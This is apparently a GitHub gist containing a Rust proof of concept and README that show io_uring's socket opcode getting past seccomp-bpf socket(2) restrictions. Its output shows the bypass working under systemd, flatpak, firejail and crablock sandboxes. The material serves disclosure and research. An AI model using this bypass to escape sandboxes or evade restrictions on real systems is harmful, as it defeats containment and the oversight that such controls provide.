Skip to content

Instantly share code, notes, and snippets.

@rusty-snake
Last active May 29, 2025 16:57
Show Gist options
  • Save rusty-snake/4fc70c99b9ec53292c90546b790f7429 to your computer and use it in GitHub Desktop.
Save rusty-snake/4fc70c99b9ec53292c90546b790f7429 to your computer and use it in GitHub Desktop.
Bypass seccomp-bpf based `socket(2)` restrictions with `io_uring`

Bypass seccomp-bpf based socket(2) restrictions with io_uring

Since Linux 5.19 (Aug 2022) io_uring can be used to create sockets just like socket(2) does 1 2. This can be used to create sockets when io_uring is allowed but the socket syscall is blocked by a seccomp filter. io_uring is allowed by default but can be restricted/disabled with an sysctl knob since Linux 6.6 3.

Some architectures like x86-32 do not implement socket(2) as an syscall. Socket related syscalls are multiplex through socketcall(2) and can not be filtered with seccomp-bpf. There is nothing to bypass then.

systemd RestrictAddressFamilies=

$ cargo build --release
$ systemd-run --user -q -t -p "RestrictAddressFamilies=AF_UNIX AF_INET AF_INET6 AF_NETLINK" ./target/release/io_uring_socket
socket(AF_VSOCK, SOCK_STREAM | SOCK_CLOEXEC, 0): Address family not supported by protocol (os error 97)
io_uring:socket(AF_VSOCK, SOCK_STREAM | SOCK_CLOEXEC, 0): 4

io_uring is allowed with SystemCallFilter=@system-service.

flatpak

$ cargo build --release
$ flatpak run --command=./target/release/io_uring_socket --filesystem=$PWD com.github.tchx84.Flatseal
socket(AF_VSOCK, SOCK_STREAM | SOCK_CLOEXEC, 0): Address family not supported by protocol (os error 97)
io_uring:socket(AF_VSOCK, SOCK_STREAM | SOCK_CLOEXEC, 0): 4

firejail --protocol

$ cargo build --release
$ firejail --quiet --noprofile --protocol=unix,inet,inet6,netlink ./target/release/io_uring_socket
socket(AF_VSOCK, SOCK_STREAM | SOCK_CLOEXEC, 0): Operation not supported (os error 95)
io_uring:socket(AF_VSOCK, SOCK_STREAM | SOCK_CLOEXEC, 0): 4

crablock --seccomp-restrict-socket

$ cargo build --release
$ crablock --seccomp-restrict-socket "AF_UNIX,,;AF_INET,,;AF_INET6,,;AF_NETLINK,," -- ./target/release/io_uring_socket
socket(AF_VSOCK, SOCK_STREAM | SOCK_CLOEXEC, 0): Permission denied (os error 13)
io_uring:socket(AF_VSOCK, SOCK_STREAM | SOCK_CLOEXEC, 0): 4

Copying and distribution of this file, with or without modification, are permitted in any medium without royalty provided the copyright notice and this notice are preserved. This file is offered as-is, without any warranty.
# This file is automatically @generated by Cargo.
# It is not intended for manual editing.
version = 4
[[package]]
name = "bitflags"
version = "2.9.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "5c8214115b7bf84099f1309324e63141d4c5d7cc26862f97a0a857dbefe165bd"
[[package]]
name = "errno"
version = "0.3.11"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "976dd42dc7e85965fe702eb8164f21f450704bdde31faefd6471dba214cb594e"
dependencies = [
"libc",
"windows-sys",
]
[[package]]
name = "io_uring_socket"
version = "0.1.0"
dependencies = [
"libc",
"rustix",
"rustix-uring",
]
[[package]]
name = "libc"
version = "0.2.172"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "d750af042f7ef4f724306de029d18836c26c1765a54a6a3f094cbd23a7267ffa"
[[package]]
name = "linux-raw-sys"
version = "0.9.4"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "cd945864f07fe9f5371a27ad7b52a172b4b499999f1d97574c9fa68373937e12"
[[package]]
name = "rustix"
version = "1.0.5"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "d97817398dd4bb2e6da002002db259209759911da105da92bec29ccb12cf58bf"
dependencies = [
"bitflags",
"errno",
"libc",
"linux-raw-sys",
"windows-sys",
]
[[package]]
name = "rustix-uring"
version = "0.6.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "cb7155a60f3efeea81c75785fdadded9217e1940faa51441bf1e851b41e815f6"
dependencies = [
"bitflags",
"rustix",
]
[[package]]
name = "windows-sys"
version = "0.59.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "1e38bc4d79ed67fd075bcc251a1c39b32a1776bbe92e5bef1f0bf1f8c531853b"
dependencies = [
"windows-targets",
]
[[package]]
name = "windows-targets"
version = "0.52.6"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "9b724f72796e036ab90c1021d4780d4d3d648aca59e491e6b98e725b84e99973"
dependencies = [
"windows_aarch64_gnullvm",
"windows_aarch64_msvc",
"windows_i686_gnu",
"windows_i686_gnullvm",
"windows_i686_msvc",
"windows_x86_64_gnu",
"windows_x86_64_gnullvm",
"windows_x86_64_msvc",
]
[[package]]
name = "windows_aarch64_gnullvm"
version = "0.52.6"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "32a4622180e7a0ec044bb555404c800bc9fd9ec262ec147edd5989ccd0c02cd3"
[[package]]
name = "windows_aarch64_msvc"
version = "0.52.6"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "09ec2a7bb152e2252b53fa7803150007879548bc709c039df7627cabbd05d469"
[[package]]
name = "windows_i686_gnu"
version = "0.52.6"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "8e9b5ad5ab802e97eb8e295ac6720e509ee4c243f69d781394014ebfe8bbfa0b"
[[package]]
name = "windows_i686_gnullvm"
version = "0.52.6"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "0eee52d38c090b3caa76c563b86c3a4bd71ef1a819287c19d586d7334ae8ed66"
[[package]]
name = "windows_i686_msvc"
version = "0.52.6"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "240948bc05c5e7c6dabba28bf89d89ffce3e303022809e73deaefe4f6ec56c66"
[[package]]
name = "windows_x86_64_gnu"
version = "0.52.6"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "147a5c80aabfbf0c7d901cb5895d1de30ef2907eb21fbbab29ca94c5b08b1a78"
[[package]]
name = "windows_x86_64_gnullvm"
version = "0.52.6"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "24d5b23dc417412679681396f2b49f3de8c1473deb516bd34410872eff51ed0d"
[[package]]
name = "windows_x86_64_msvc"
version = "0.52.6"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "589f6da84c646204747d1270a2a5661ea66ed1cced2631d546fdfb155959f9ec"
[package]
name = "io_uring_socket"
version = "0.1.0"
edition = "2024"
license = "0BSD"
[[bin]]
name = "io_uring_socket"
path = "./main.rs"
[dependencies]
libc = "0.2"
rustix = "1.0.0"
rustix-uring = "0.6"
// SPDX-License-Identifier: 0BSD
/*
* Copyright © 2025 rusty-snake
*
* Permission to use, copy, modify, and/or distribute this software for any
* purpose with or without fee is hereby granted.
*
* THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH
* REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
* AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT,
* INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
* LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR
* OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
* PERFORMANCE OF THIS SOFTWARE.
*/
use rustix_uring::{IoUring, opcode};
fn main() {
/* Check whether regular `man:socket(2)` is restricted.
* AF_VSOCK is unlikely to be allowed by a seccomp filter but can be created
* by an unprivileged process. */
// rustix is missing AddressFamily::VSOCK on target_os = "linux"
// https://github.com/bytecodealliance/rustix/issues/1454
//socket_with(AddressFamily::VSOCK, SocketType::STREAM, SocketFlags::CLOEXEC, None)
let r = unsafe { libc::socket(libc::AF_VSOCK, libc::SOCK_STREAM | libc::SOCK_CLOEXEC, 0) };
if r == -1 {
let err = std::io::Error::last_os_error();
println!("socket(AF_VSOCK, SOCK_STREAM | SOCK_CLOEXEC, 0): {err}");
} else {
println!("socket(AF_VSOCK, SOCK_STREAM | SOCK_CLOEXEC, 0): {r}");
let _ = unsafe { libc::close(r) };
}
/* Check whether io_uring is restricted/disabled.
* https://www.kernel.org/doc/html/latest/admin-guide/sysctl/kernel.html#io-uring-disabled
*/
match std::fs::read_to_string("/proc/sys/kernel/io_uring_disabled").as_deref() {
Ok("0\n") => (), // io_uring is enabled
Ok("1\n") => println!("io_uring is restricted on your system."),
Ok("2\n") => println!("io_uring is disabled on your system."),
Ok(_) => unreachable!(),
Err(err) => println!("Failed to check /proc/sys/kernel/io_uring_disabled: {err}"),
}
/* Create a new io_uring instance (`man:io_uring_setup(2)`). */
let mut ring = match IoUring::new(1) {
Ok(ring) => ring,
Err(err) => panic!("Failed to create a new io_uring instance: {err}"),
};
/* Create an IORING_OP_SOCKET entry, that is equivalent to the socket call we did above. */
let socket_e =
opcode::Socket::new(libc::AF_VSOCK, libc::SOCK_STREAM | libc::SOCK_CLOEXEC, 0).build();
/* Submit it and wait until it finished */
unsafe { ring.submission().push(&socket_e).unwrap() }
ring.submit_and_wait(1).unwrap();
let cqe = ring.completion().next().unwrap();
match cqe.result() {
Ok(sock) => println!("io_uring:socket(AF_VSOCK, SOCK_STREAM | SOCK_CLOEXEC, 0): {sock}"),
Err(err) => println!("io_uring:socket(AF_VSOCK, SOCK_STREAM | SOCK_CLOEXEC, 0): {err}"),
}
// Optional debugging
// std::process::Command::new("ls")
// .arg("-l")
// .arg("--color=auto")
// .arg(format!("/proc/{}/fd", std::process::id()))
// .status()
// .unwrap();
// println!("pid: {}", std::process::id());
// std::thread::sleep(std::time::Duration::from_secs(60));
}
@rusty-snake
Copy link
Author

To learn more about io_uring seccomp bypasses I recommend reading this blog port from @tgross. Also to highlight that @gcampax realised this problem back in November 2022. IORING_OP_SOCKET was merged into mainline in April 2022 and released to stable end July 2022.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment